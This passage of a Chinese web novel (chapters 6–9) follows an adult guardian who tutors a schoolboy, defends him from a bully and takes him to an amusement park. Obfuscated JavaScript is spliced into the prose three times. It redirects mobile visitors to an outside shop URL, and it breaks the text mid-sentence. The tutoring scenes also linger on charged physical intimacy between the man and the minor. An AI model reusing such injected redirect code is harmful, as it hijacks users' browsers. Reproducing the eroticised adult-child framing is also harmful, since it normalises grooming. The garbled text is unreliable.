这个位置刚好在路旻手边,稍微一抬头就能看见男人帅气阳刚的侧脸。 路旻从那一摞书里抽出数学练习册,翻到几何单元。 “哪题?” 他问。 应郁怜随手指了一道证明题——其实他会的,上周刚做过,步骤还记得清清楚楚。 又或者说,他太聪明,几乎学校里的许多知识都对他构不成任何难度,哪怕他只是刚刚上学而已。 但他还是凑过去,假装困惑地皱起眉: “这个……辅助线不知道怎么添。” 路旻没说话。 他拿起铅笔,笔尖悬在纸上,却没有立刻落下。 应郁怜就站在他身侧,因为要看清题目,不得不微微俯身。 这个姿势让两人的距离拉得很近——近到他能闻见路旻身上淡淡的须后水味道,近到能看见男人睫毛在眼下投出的细小阴影,近到……只要再往前一点点,他的脸颊就能蹭到路旻的肩膀。 “看这里。” 路旻忽然开口。 铅笔的笔尖点在题目图形的某个点上。应郁怜顺着看过去,视线却不自觉地飘向那只握笔的手——手背上有淡淡的青筋,腕骨突出,手指搭在笔杆上的姿势标准而好看。 “辅助线应该从这儿引到这儿。” 路旻一边说,一边在图上画了一条虚线。 铅笔划过纸张发出细微的沙沙声,线条干净利落。 他的声音很低,就响在应郁怜耳侧。 温热的呼吸拂过少年耳廓,激起一阵细微的战栗。 应郁怜下意识缩了缩脖子,却又忍不住更靠近一些。 他的手臂几乎贴着路旻的手臂,家居服柔软的布料摩擦着西装衬衫挺括的袖口,发出窸窣轻响。 “懂了吗?” 路旻侧过头看他。 两人的距离在这一刻近得不可思议。 应郁怜能看见路旻瞳孔里自己的倒影,能看清男人眼尾极淡的纹路,能感受到对方呼吸时带起的气流拂过自己脸颊。 他张了张嘴,却说不出话。 心跳得太快了,快得像要撞碎肋骨。 路旻等了几秒,见他没反应,忽然伸手握住了他的手腕。 那只手很凉,掌心却有薄茧,粗糙的触感贴着少年细嫩的皮肤,激起一阵电流般的酥麻。 路旻拉着他的手,引导他去握那支铅笔。 “自己画一遍。” 他说,声音近得几乎是在耳语。 应郁怜的手指在颤抖。 路旻的手就覆在他手背上,温度透过皮肤传来,力道控制着他的动作。 铅笔尖在纸上移动,沿着刚才那条虚线的轨迹,一笔一画,缓慢而坚定。 他能感觉到路旻掌心的纹路,能感觉到男人指节抵着自己手背的触感,能感觉到——路旻的拇指,正无意识地、极轻地摩挲着他手腕内侧那处柔软的皮肤。 一下,两下。 像在安抚,又像在丈量。 应郁怜的呼吸乱了。 他试图集中注意力在题目上,可所有感官都背叛了他——全都聚焦在那只握着自己的手上,聚焦在两人紧贴的皮肤上,聚焦在耳边平稳却存在感极强的呼吸声上。 “手别抖。” 路旻的声音依然平静,仿佛此刻这种近乎拥抱的姿势再正常不过。 可他的指尖还在摩挲那处皮肤,动作很轻,却带着某种不容错辨的、令人心悸的专注。 应郁怜画完了那条线。 线条歪歪扭扭,远没有路旻画得漂亮。 “丑。” 路旻评价道,语气里却听不出嫌弃。 他松开手,可指尖撤离时,若有似无地擦过少年手腕内侧——那里已经因为刚才的摩擦泛起淡淡的红。 应郁怜慌忙收回手,指尖蜷缩起来,仿佛想留住那转瞬即逝的触感。 他低着头,耳根红得能滴血。 “还不会?” 路旻问,声音里带着一丝极淡的、几乎听不出来的笑意。 “会、会了……” 应郁怜小声说。 “那下一题。” 路旻翻过一页,笔尖又停在另一道题上, “这个,三角函数。” 应郁怜凑过去看。 这次他不敢靠得太近了,可路旻却在他俯身时,很自然地往椅背上靠了靠——这个姿势,刚好让少年的身影完全笼罩在他的气息范围里。 铅笔在纸上演算,公式一行行列出。 路旻讲解的声音低沉平稳,逻辑清晰得像在推理案情。 可应郁怜一个字也听不进去。 他的全部注意力都在那只握笔的手上,在那偶尔擦过他手背的袖口上,在那近在咫尺却始终没有真正触碰的体温上。 阳光从窗外斜射进来,在书桌上切出明暗交错的小块。 灰尘在阳光里缓缓漂浮,时间仿佛被拉得很长,长到每一个呼吸、每一次眨眼都被放大成慢动作。 应郁怜悄悄抬起眼,看向路旻的侧脸。 男人专注地看着题目,睫毛垂下来,在眼下投出浅浅的阴影。 鼻梁挺直,嘴唇微抿,下颌线绷着优雅的弧度。 阳光落在他半边脸上,勾勒出雕塑般清晰俊朗的轮廓。 好看得让人移不开眼。 “看题。” 路旻忽然开口,眼睛还盯着纸面,却精准地捕捉到了他的走神。 应郁怜慌忙低下头,心脏怦怦直跳。 路旻的笔尖在某个步骤上点了点: “这里,代错了公式。” 他的手指过来,虚虚圈出那个错误。 手臂从应郁怜身前横过,那个瞬间,少年几乎被他半圈在怀里。 应郁怜屏住了呼吸。 他能感觉到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17048863|194781||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 路旻手臂的温度隔着布料传来,能闻见更清晰的、属于这个男人独有的气息——冷冽的,干净的,带着一点点烟草和咖啡的味道。 有安全感的,让人想沉溺的味道。 这个姿势只维持了两秒。 路旻收回手臂,重新坐直。 仿佛刚才那近乎拥抱的靠近,只是讲解需要。 “重算。” 他说,把笔递过来。 应郁怜接过笔时,指尖不小心碰到了路旻的手指。 很轻的触碰,一触即分,却像火星溅到皮肤上,烫得他手一抖,笔差点掉下去。 路旻看了他一眼,没说话。 只是伸出手,稳住了那只颤抖的手。 掌心再次覆上手背,温度透过皮肤渗透进来。 这一次,路旻没有立刻松开,而是就着这个姿势,引导他在纸上写下正确的公式。 笔尖划过纸张,沙沙,沙沙。 应郁怜的手还在抖,可路旻的手很稳。 稳得像磐石,像港湾,像一切动荡中唯一确定的锚点。 “放松。” 路旻低声说,指尖又一次摩挲他手腕内侧,像是给他放松, “写字而已,紧张什么。” 可就是这“而已”的触碰,让应郁怜的呼吸彻底乱了套。 他咬住下唇,强迫自己集中注意力,可所有神经末梢都在叫嚣着,欢腾着,为这来之不易的亲近雀跃不已。 他终于写完了那个步骤。 路旻松开手,身体往后靠进椅背,目光落在那行歪歪扭扭的字上。 看了几秒,他几不可察地摇了摇头。 “字真丑。” 他说,语气里却听不出嫌弃,反而有种近乎纵容的东西。 应郁怜红着脸收回手,指尖无意识地摩挲着刚才被触碰过的地方。 那里还残留着路旻掌心的温度和触感,灼热而深刻。 阳光悄悄移动,从书桌这头爬到那头。 书房里很安静,只有翻书声和铅笔划过纸张的轻响。 应郁怜又“问”了几道题。 路旻一一解答,耐心得出奇。 每一次讲解,应郁怜都会不经意的靠近,还会若有似无的触碰,享受路旻那种令他心跳加速的专注凝视。 直到窗外的天色渐渐暗下来。 路旻合上练习册,看了眼时间: “该吃晚饭了。” 应郁怜有些恋恋不舍,但还是乖乖点头。 他抱起那摞书,转身要走时,听见路旻在身后开口: “明天继续。” 少年猛地转过身,眼睛亮得惊人: “真的?” 路旻靠在椅背里,双手交叠放在膝上,深黑色的眼睛在渐暗的光线里显得格外深邃。 他怎么能看不出应郁怜的“故意”。 “嗯。” 他说,嘴角几不可察地弯了弯, “既然你这么‘需要’辅导。” 那个“需要”说得意味深长。 应郁怜的脸又红了。 他抱着书逃也似的离开书房,可嘴角却抑制不住地上扬,上扬,直到弯成一个傻乎乎的、藏不住的弧度。 走廊里传来少年轻快的脚步声,渐渐远去。 书房里,路旻坐在暮色中,目光落在刚才两人一起写过字的那张纸上。 铅笔的痕迹还很新鲜,字迹一大一小,一稳一颤,交错在一起,亲密得不像他们之间本该有的关系。 许久,他伸出手,指尖极轻地拂过那些字迹。 然后摇摇头,低笑了一声。 “终究还是个小孩。” 7. 第 7 章 月考成绩出来是周五。 应郁怜攥着成绩单站在校门口,手指把卷子捏出深深的褶皱。 第二名,年级第二十七。 这对于两个月前还在吃力追赶进度的他来说,已经是不可思议的飞跃。 可他盯着那个“2”字,心理却像堵了块石头。 第一名是学习委员,一个戴眼镜的安静女生,总分只比他高五分,就五分,如果那道英语选择题没有粗心,如果阅读题的答案在多踩到几个点,如果—— 如果他是第一名,路旻会不会更高兴。 这个念头像藤蔓一样缠绕着他,越缠越紧,几乎要让他不能呼吸。 应郁怜低头看着成绩单上的各科分数,视线在英语那一栏上停留了很久。 “应郁怜,我数学不太好,你可以帮我看看数学吗?” 应郁怜抬眸,看着学习委员走了过来,女生看起来有些紧张,犹豫地将试卷递了过去,耳根连着脸都泛起红晕。 “我可以帮你补英语,我看你英语有点不好,不是……就是没有别的科目出彩……” 学习委员越描越黑,整个人红的要炸开了。 应郁怜脸上还挂着一副温温柔柔的样子,可心里阴沉的几乎要滴水。 如果不是他太无能,又怎么能在英语上丢那么多分,辜负了路旻对自己的培养。 好讨厌。 这种没用的自己。 “不用了,谢谢,已经有人辅导我了。” “你可以找老师帮你看看。” 应郁怜没有接过女生的卷子,语气依然温温柔柔的,那女生不知为什么立刻就感受到了应郁怜的心情变得不好。 她以为是自己的话,让应郁怜不高兴了,着急地想要解释。 却不知道,应郁怜讨厌来讨厌去。 最讨厌的还是没有满足要求的自己。 两人都没有注意到的是,在应郁怜拒绝了女生后,背后那个不爽地看着应郁怜的男生。 教室里开着暖气,学生们挤在一团,流动的空气也变得闷闷的热烘烘的。 换气扇在头顶有气无力地转着,搅动黏稠的空气,却带不来丝毫新鲜的空气。 应郁怜坐在靠窗的位置,低头写着数学作业,等着路旻来开家长会,笔尖划过纸张发出沙沙的轻响,额前的碎发被汗水浸湿,黏在白皙的额角。 教室后门忽然被人推开了。 几个高年级的男生晃进来,校服外套松松垮垮地搭在肩上,脸上带着那种刻意装出来的、流里流气的笑容。 为首的那个叫赵斌,高三的,学校里出了名的小混混,因为打架背过处分。 但听说好像暗恋一个女生。 他们径直走向应郁怜。 脚步声在安静的教室里格外刺耳。 有几个同学抬起头看,又迅速低下头,假装继续写作业。 应郁怜感觉到阴影笼罩下来时,笔尖顿住了。 他没有抬头,手指却无意识地收紧,指节泛白。 “哟,大学霸。” 赵斌的声音吊儿郎当的,带着毫不掩饰的嘲弄, “写作业呢?” “怎么不给人家女生辅导一下呢?” 应郁怜没理他,继续低头写字。 可下一瞬,一只手伸过来,直接抽走了他面前的练习册。 “我看看——” 赵斌装模作样地翻了两页, “哎哟,全对啊?这么厉害?” 周围响起几声压抑的窃笑。 应郁怜终于抬起头。他的脸色有些苍白,嘴唇抿得很紧,黑眼睛里却没什么情绪,只是平静地看着赵斌: “还我。” 声音不大,却让教室里的空气凝滞了一瞬。 赵斌愣了愣,似乎没料到这个平时总是低着头、话都不敢说大声的转学生,居然敢这么跟他说话。 但他很快反应过来,嘴角扯出更恶劣的笑: “还你?可以啊。” 他把练习册往旁边一递,另一个男生接过,随手一扔——本子在空中划了道弧线,“啪”地掉在教室后排的垃圾桶旁边,沾上了溅出来的污水。 应郁怜的睫毛颤了颤。他站起身,想去捡,却被赵斌伸手拦住了。 “急什么。” 赵斌往前一步,几乎贴到他面前, “我听说个事儿,想跟你求证一下。” 他故意顿了顿,等教室里所有人都竖起耳朵,才慢悠悠地开口: “有人说,每天开车来接你的那个路先生——不是你亲戚吧?” 应郁怜的身体几不可察地僵了一下。 “是……是我监护人。” 他小声说,声音有些发紧。 “监护人?” 赵斌夸张地重复, “可我打听过了,你俩户口本都不在一块儿,而且——” 他故意拖长声音, “你姓应,他姓路。这哪门子亲戚?” 教室里安静得可怕。连通风扇转动的声音都显得刺耳。 应郁怜的手指在身侧蜷缩起来,指甲陷进掌心。 他看着赵斌那张写满恶意的脸,看着周围同学或好奇或躲闪的目光,喉咙像被什么堵住了,发不出声音。 “说不出话了?” 赵斌嗤笑一声,往前又逼近一步,压低声音,用只有两人能听见的音量说, “我听说啊……那种有钱有势的老男人,就喜欢养你这种细皮嫩肉的小男孩,叫什么来着?哦——包养。” 最后两个字,他说得又轻又慢,挑衅至极。 应郁怜的瞳孔骤然收缩。 血液瞬间冲上头顶,耳朵里嗡嗡作响。 他盯着赵斌,盯着那张喋喋不休的、吐出污言秽语的嘴,浑身都在发抖——不是害怕,是一种近乎暴怒的战栗。 “你闭嘴。” 他的声音嘶哑得厉害。 “怎么,我说错了?” 赵斌笑得更放肆, “不然他凭什么养你?供你上学,给你买衣服,天天车接车送——你给他什么了?嗯?” 周围响起压抑的抽气声。 有几个女生已经低下头,不忍再看。 应郁怜的呼吸越来越急促。 他能感觉到所有人的目光都钉在自己身上,像无数根针,扎得他体无完肤。 那些窃窃私语,那些打量,那些毫不掩饰的猜测和鄙夷—— 他可以忍受。 这十几年,他忍受过比这恶毒千百倍的侮辱和伤害。 他可以低头,可以沉默,可以当什么都没听见。 但是。 但是他不准任何人这样说路旻。 不准用那种肮脏的、下流的词汇,去玷污那个把他从地狱里拉出来的人。 “他是我哥。” 应郁怜忽然开口,声音不大,却清晰地传遍整个教室。 所有人都愣住了。 赵斌也愣了一下,随即爆发出更大的嘲笑: “哥哥?你骗鬼呢!你姓应!他姓路!哪门子兄弟?” “他就是。” 应郁怜抬起头,黑眼睛里有什么东西烧了起来,亮得骇人, “法律上,他就是我的监护人,他就是。” 他的声音在发抖,背脊却挺得笔直,像一根绷到极限的弦。 赵斌被他的眼神刺得有些恼火,伸手推了他一把: “装什么装!一个被包养的玩意儿,还真把自己当回事了——” 话音未落。 应郁怜动了。 谁也没看清他是怎么出手的。只看见那道清瘦的身影猛地扑上去,像一头被逼到绝境的小兽,带着不顾一切的狠劲。拳头砸在赵斌脸上的声音闷而重,接着是椅子倒地的巨响,和周围女生惊恐的尖叫。 “你他妈——” 赵斌反应过来,暴怒地反击。 两个人扭打在一起。应郁怜根本不会打架,他只是凭着本能,死死揪住赵斌的衣领,拳头胡乱地往对方身上砸。赵斌比他高壮得多,很快就占了上风,一拳砸在他腹部。 应郁怜闷哼一声,疼得弯下腰,却还是不肯松手。 教室里乱成一团。 有人跑去叫老师,有人躲在远处看,有几个男生想上去拉架,却被赵斌那几个跟班拦住了。 “打!打死这个小杂种!” 跟班们起哄。 应郁怜的嘴角破了,血丝渗出来。 额角不知道撞到了哪里,火辣辣地疼。可他像是感觉不到疼,只是死死瞪着赵斌,那双总是带着怯意的黑眼睛里,此刻翻涌着某种近乎狰狞的恨意。 “你再敢说他一句——” 他从牙缝里挤出声音,每一个字都带着血味, “我就弄死你。” 赵斌被他眼里的狠劲震住了一瞬,随即更加暴怒,抬起手就要往他脸上扇—— 那只手在半空中被人截住了。 力道大得惊人。 赵斌甚至没看清来人,只觉得手腕像被铁钳箍住,骨头都要被捏碎似的疼。 “啊——!” 他惨叫一声,整个人被那股力道带得踉跄后退,撞在旁边的课桌上。 教室里瞬间死寂。 所有人都看向教室门口。 路旻站在那里。 他穿着黑色大衣,皮鞋在下午的光线里泛着冷硬的光泽。 脸上没什么表情,只是那双深色的眼睛扫过教室,所过之处,所有人都下意识地屏住了呼吸。 他的目光最终落在应郁怜身上。 少年还维持着刚才扭打的姿势,校服衬衫被扯得歪歪扭扭,领口的扣子崩开了一颗,露出纤细的锁骨。 嘴角破了,渗着血丝,额角有一块明显的青紫,头发凌乱地贴在汗湿的额角。 狼狈,脆弱,却挺直了脊背,像只竖起浑身尖刺的小刺猬。 路旻的眼神沉了沉。 他松开赵斌的手腕,迈步走向应郁怜。、 皮鞋踏在地板上的声音在过分安静的教室里格外清晰,每一步都像踩在人心上,众人都不由得在这威压下咽了一口口水。 应郁怜看着他走近,身体几不可察地颤抖起来。 不是害怕,是某种更复杂的情绪——委屈,愤怒,还有一丝难以言喻的……心虚。 他打架了。 他惹麻烦了。 路旻会生气吗?会……不要他吗? 这个念头像一盆冰水浇下来,让他浑身的血都凉了。 路旻在他面前停下。 没有立刻说话,只是伸出手,用手指指腹擦掉他嘴角的血迹。 动作很轻,却带着不容拒绝的力道。 “疼吗?” 他问,声音听不出情绪。 应郁怜摇头,又点头。 眼泪毫无预兆地涌上来,在眼眶里打转,却死死憋着不让它掉下来。 路旻看了他两秒,然后转身,看向还捂着手腕龇牙咧嘴的赵斌。 “你。” 他开口,声音不高,却让整个教室的气温都降了几度, “刚才说什么。” 不是疑问句,是陈述句。 赵斌被他看得头皮发麻,但当着这么多人的面,还是硬着头皮梗着脖子: “我、我说什么了?我就说他——” “说他被包养。” 路旻打断他,语气平静得像在复述案情, “说他是‘玩意儿’,还说了什么?” 赵斌的脸色白了白,张了张嘴,却发不出声音。 路旻往前走了一步。 仅仅一步,那股压迫感 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17048864|194781||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就让赵斌下意识后退,脊背撞在课桌上。 “我是他监护人。” 路旻的声音很清晰,确保教室里每一个人都能听见, “法律意义上的兄长,有意见?” 没人敢说话。 “至于名字——” 路旻顿了顿,目光扫过教室里一张张或惊恐或好奇的脸, “他随母姓,有问题?” 依然是一片死寂。 路旻收回目光,重新看向应郁怜。 少年还僵在原地,眼泪终于憋不住,一颗颗往下掉,混着嘴角的血迹,在苍白的脸上划出狼狈的痕迹。 “走了。” 路旻说,伸手揽住他的肩膀,带着他往教室外走。 动作很自然,带着不容置疑的占有和保护意味。 经过赵斌身边时,路旻脚步顿了顿,侧过头,看了他一眼。 那眼神很淡,没什么情绪,却让赵斌浑身一颤,冷汗瞬间湿透了后背。 “你。” 路旻开口,声音压得很低,只有两人能听见, “明天自己去教务处。该怎么说,自己清楚。” 说完,他不再停留,带着应郁怜走出教室。 走廊里很安静。 夕阳从尽头的窗户照进来,把两人的影子拉得很长。 应郁怜被路旻揽着肩,亦步亦趋地跟着。 他低着头,眼泪还在掉,肩膀微微颤抖。 走到楼梯拐角时,路旻忽然停下了脚步。 他松开手,转过身,面对着应郁怜。 少年抬起头,泪眼朦胧地看着他,嘴唇动了动,想说什么,却发不出声音。 路旻看了他很久。 然后伸出手,不是擦泪,而是用指节很轻地敲了敲他额角那块青紫。 “疼?” 他问。 应郁怜用力摇头,眼泪却掉得更凶。 路旻几不可察地叹了口气。 他从口袋里掏出那块深灰色的手帕,塞进应郁怜手里。 “擦干净。” 他的声音依然没什么起伏, “然后告诉我,为什么打架。” 应郁怜攥着手帕,手指因为用力而微微发抖。 他低着头,声音小得像蚊子哼哼: “他……他说你……” “说我什么。” “……说得很脏。” 应郁怜的声音哽住了, “我不准……不准他那样说你……” 路旻沉默了。 楼梯间很安静,只有远处隐约传来的操场上的喧闹声。 许久,路旻才开口: “所以你就动手?” 应郁怜点头,又慌忙摇头: “我……我不该打架……对不起……” “是该道歉。” 路旻说,声音里听不出情绪, “但不是对我。” 应郁怜愣愣地抬头。 路旻看着他,眼睛里映出少年狼狈却倔强的模样。 “你该道歉的是,” 他顿了顿,一字一句地说, “对自己。” 应郁怜怔住了。 “为了几句话,就跟人动手。” 路旻的声音很轻,却每个字都砸在应郁怜心上, “值吗?” 少年张了张嘴,想说什么,却发不出声音。 值吗? 他不知道。 他只知道,当赵斌用那种肮脏的词汇去玷污路旻时,他的脑子“嗡”的一声就空白了。 所有的理智、克制、那些被反复教导的“规矩”,在那一刻全都灰飞烟灭。 只剩下一个念头—— 不准。 不准任何人,用任何方式,伤害这个人。 路旻看了他很久,然后忽然伸出手,揉了揉他凌乱的头发。 力道不轻不重,却让应郁怜浑身一颤。 “傻。” 路旻说,声音里带着一丝极淡的、近乎无奈的东西, “那种人的话,也值得你放在心上?” 应郁怜的眼泪又涌了上来。 他用力摇头,却说不出一句完整的话。 路旻收回手,转身往楼下走。 “去医务室。” 他说,声音随风飘来, “脸上得处理一下。” “路先生……” 应郁怜站在原地,扯着衣角,犹豫地出声,他想要问路旻为什么没有责怪他撒谎,说他是路旻的弟弟,又忍不住窃喜,路旻刚刚顺水推舟在所有人面前,承认自己是他的弟弟。 尽管是因为为了维护他和自己的名声,他也由衷地感受到一种被占有的幸福感。 好像这层莫须有的血缘关系,让他和路旻之间更近了一步。 可很快到来的就是一种巨大的自我厌恶感,像他这样恶心没用的人,也可以当路旻的弟弟吗? 他也可以叫路旻一声哥吗? “不应该叫哥吗?” 路旻回头,挑眉看着站在那里低着头,不知道在胡思乱想些什么东西的应郁怜。 路旻的这句话打断了应郁怜混乱的思绪,他睁大圆溜溜的眼睛看着路旻。 他的心跳的飞快,感觉整个人都像泡在蜜罐里一样晕乎乎的。 应郁怜立刻小跑到路旻身旁,眉眼弯弯,手牵上路旻那双宽厚带着薄茧的手,梨涡在应郁怜两颊处绽开。 路旻看着应郁怜这一副直摇尾巴的模样,有些无奈地刮了一下他的梨涡。 “只是一个称呼而已。” “才不是呢!” 应郁怜少见的表现了这个年纪该有的孩子气,他在路旻身侧,眉眼弯弯,一遍又一遍甜腻而热切地喊: “哥哥,哥哥,哥……” 8. 第 8 章 周末的游乐场喧嚣得像一锅煮沸的水。 彩色气球在湛蓝的天空下飘荡,棉花糖的甜腻香气混着爆米花的黄油味,过山车呼啸而过的尖叫声和旋转木马欢快的音乐交织在一起。 孩子们牵着父母的手蹦蹦跳跳,情侣们十指相扣,每个人都带着一种毫不掩饰的快乐。 路旻把车停好时,应郁怜还坐在副驾驶座上,手指无意识地抠着安全带扣。 他透过车窗望着外面那片过于鲜艳喧闹的世界,原来这就是哥给他的考试奖励吗? 可比起和那些蠢笨吵闹的孩子一起玩,他更愿意和哥一起挤在暖洋洋的家里。 只有他们两个人的世界。 “下车。” 路旻解开安全带,声音将他的思绪拉回。 应郁怜跟着他下车,站在游乐场入口处。 他今天穿着路旻给他买的新衣服——浅蓝色的连帽卫衣和米白色休闲裤,脚上是双干净的白球鞋。 这身打扮让他看起来像个普通中学生,只是眼神里的拘谨出卖了他。 路旻去买票。 他站在售票窗口前,挺拔的身影在排队的人群中格外显眼。 几个年轻女孩偷偷看他,窃窃私语,又在他转头时慌忙移开视线。 路旻对此毫无察觉,或者说根本不在意。他付了钱,拿着两张通票走回来。 “走吧。” 他把票递给应郁怜一张。 少年接过那张小小的纸片,指尖摩挲着上面印刷的卡通图案,然后小心翼翼地放进卫衣口袋里,还按了按,确认不会掉出来。 他们走进游乐场。 人潮汹涌,路旻很自然地走在外侧,用身体隔开拥挤的人群。 应郁怜跟在他身侧,目光却像受惊的小鹿,四处张望——巨大的摩天轮缓缓转动,海盗船在空中划出惊险的弧线,碰碰车场里传来阵阵欢笑和碰撞声。 一切都太鲜艳,太吵闹,太……正常了。 正常得让他不知所措。 “想玩什么?” 路旻问,声音在喧闹中依然清晰。 应郁怜张了张嘴,却答不上来。 他从未来过游乐场,对这些设施一无所知,更不知道哪些“应该”想玩。 “哥想玩什么,我跟着哥就好了。” 应郁怜自然地牵上路旻的手,脸上挂着甜甜的笑,可眼里的局促和紧张还是暴露了他。 路旻有些无奈,他捏了捏应郁怜的手,缓解应郁怜在这个环境的不安。 “哥已经是大人了,这都是小孩子玩的。” “既然不知道玩什么,那我们先转一圈好了。” 游乐场的人很多,应郁怜和路旻被人潮拥挤着,几次险些分开。 应郁怜兴致缺缺,比起那些孩子们喜欢的游乐项目,他更讨厌这些涌进他鼻子的人味,让他几乎要闻不到路旻身上好闻的须后水的味道。 好像他和哥越来越远了一样。 但不知为何,应郁怜的目光被最射击摊最上层那只白色的兔子吸引了。 “想要那个?” 路旻的声音从身侧传来。 应郁怜回过神来,慌忙摇头: “没、没有……” 可他的视线还是不受控制地飘向那只兔子。 路旻顺着他的目光看去,看见了那只白色的、孤零零挂在最顶端的玩偶。 他突然想起来,前世,应郁怜就非常喜欢收集兔子玩偶,连对人行刑前的死亡预告,都是用兔子娃娃叼着兔子贺卡,送到警局里来的。 这被他当做了一种疯子的恶趣味,那些兔子玩偶自然也是被他烧的一干二净。 原来是真的喜欢啊? “试试?” 路旻已经走到摊位前,从钱夹里抽出纸币递给老板娘。 老板娘接过钱时笑眯眯地说: “帅哥,十枪中八枪才能拿大奖哦,很难的。” 路旻没说话,只是拿起一把玩具枪,在手里掂了掂,检查了下准星。 应郁怜站在他身后,路旻回头将枪递给了应郁怜。 “你来。” 应郁怜望着那双握着枪的宽厚手掌,指节分明,漆黑的枪身和白皙的手形成了鲜明的反差,像一捧雪一般落在了上边。 他的喉结滚动了一下。 他好想做哥手里的那把枪。 应郁怜冲着路旻摇了摇头,他本来就不会打枪。 “我想看哥打。” “可今天是你的考试奖励。” “那我的愿望就是看哥打枪。” 应郁怜用一双弯弯的小狗眼盯着路旻,眼神湿漉漉地,还摇着路旻的手腕撒娇。 “好,那我打。” 路旻看着应郁怜装出的那副可怜巴巴的模样,轻笑一声。 路旻举起了枪。 他没有立刻射击,而是先闭上一只眼,调整呼吸。周围渐渐围拢了些看热闹的人,窃窃私语声在喧嚣的背景音里浮动。 第一枪。 “啪!”最中央的红色气球应声破裂。 老板娘“哟”了一声:“准头不错啊!” 路旻表情没什么变化,手腕微移,第二枪、第三枪——接连两个气球炸开,干净利落。 应郁怜屏住呼吸,眼睛一眨不眨地盯着路旻的手。 那只握枪的手很稳,指节分明,扣动扳机时动作流畅得像呼吸一样自然。 眼睛微微眯起,目光透过准星锁定目标,专注得让人心悸。 第四枪,第五枪…… 围观的人越来越多,有人开始数数: “六、七、八……我的天,全中?!” 十枪打完,背景板上最中间那排气球全空了,只留下彩色的橡胶碎片。 路旻放下枪,动作随意得像只是喝了口水。 老板娘张大嘴,愣了好几秒才反应过来: “全、全中啊!帅哥你练过吧?” 路旻几不可察地弯了弯唇角,没回答,只是抬手指了指最上层那只白兔子。 “哎,好嘞!” 老板娘赶紧搬来梯子,小心翼翼地把兔子取下来。 玩偶很大,抱在怀里几乎挡住了她上半身,她费力地递过来: “给,你的大奖!” 路旻接过兔子,转身递给应郁怜。 少年怔怔地看着突然塞进怀里的玩偶。 兔子很软,绒毛蹭在脸上痒痒的,带着一点布料和棉花特有的干净味道。 他抱着它,手指陷进柔软的填充物里,一时说不出话。 路旻正要离开,老板娘却忽然“咦”了一声,凑近了些打量他: “等等,帅哥,我看你好眼熟啊……你是不是以前常来?” 路旻的脚步顿了顿。 老板娘拍了下手: “对对对!我想起来了!七八年前吧,你是不是常和几个同学一起来?那时候你还是学生呢,穿校服,但枪法已经特别好了,每次都能把我这儿的大奖赢走!” 应郁怜抱着兔子的手臂忽然紧了紧。 哥……以前常来? 和同学一起? 他一直以为,今天是哥第一次来游乐场——至少是第一次和他来。 他以为那些生疏的排队、买票、选择项目,都是因为哥和他一样,对这个地方陌生。 原来不是。 原来哥早就来过。 在更早的时候,在他还不认识哥的时候,在哥还是学生的时候。 和同学一起,笑着,玩着,或许也像今天这样,轻松地赢走大奖,把奖品送给…… 送给谁? 应郁怜不知道。 他也不敢问。 老板娘还在絮絮叨叨地回忆: “那时候你们几个男孩子可闹腾了,每次来都把我这儿的气球打光……哎,时间过得真快啊,转眼你都这么大了……” 路旻的表情依然没什么变化,只是点了点头: “嗯,是来过几次。” 他的声音很平静,可应郁怜却觉得,怀里那只刚才还温暖柔软的兔子,突然变得有些冰凉。 原来他不是第一个。 不是第一个和路旻来游乐场的人,不是第一个看路旻射击的人,不是第一个收到路旻赢来的奖品的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“——奖品是给你的。” 路旻的嘴角弯了弯 “只有你。” 应郁怜怔住了。 他抱着兔子,手指陷进柔软的绒毛里,眼睛睁得很大,一眨不眨地看着路旻。 夜风拂过,扬起男人额前碎发,游乐场的灯光在他身后流转成一片模糊的光海。 而路旻站在那里,看着他,眼睛里只映着他一个人的影子。 只有你。 这三个字像魔咒,瞬间驱散了心里所有阴霾。 应郁怜的耳朵更红了,这次不是因为酸涩,而是因为别的什么——滚烫的,雀跃的,几乎要冲出胸膛的东西。 他把脸埋进兔子怀里,这次不是为了藏眼泪,而是为了藏嘴角那个控制不住上扬的弧度。 路旻看着他这副模样摇了摇头,眼底却浮起一丝极淡的笑意。 他伸手,揉了揉少年的发顶。 “傻。” 声音很轻,带着点无奈的纵容。 然后转身,继续往前走。 应郁怜抱着兔子,小跑着追上去。 这次他的脚步很轻快,轻快得几乎要跳起来。 他挨着路旻走,手臂时不时碰到男人的手臂。 “哥,我今天好幸福好幸福。” 应郁怜语气里是藏不住的雀跃。 “拿了个兔子就幸福了?你也太好哄了。” 路旻看着应郁怜那副不值钱的样子,有些好笑。 “哥以后只给我赢奖品好不好?” “那要看你乖不乖了。” “我很乖的。” 应郁怜和路旻有一搭没一搭地聊着,突然他感觉自己脖颈处的汗毛立了起来,好像有人在身后看着他。 他回头,却发现什么都没有。 “怎么了?” 路旻发现了应郁怜的小动作,问道。 “没什么,哥。” 应郁怜犹豫地摇了摇头。 9. 第 9 章 下午路旻的车准时停在学校门口。 他是来接应郁怜的。 而对方却迟迟没有出来。 他看了眼腕表,目光扫向校门。 放学的人潮正涌出来,穿着统一校服的学生们三五成群,笑闹声像潮水一样漫过街道。 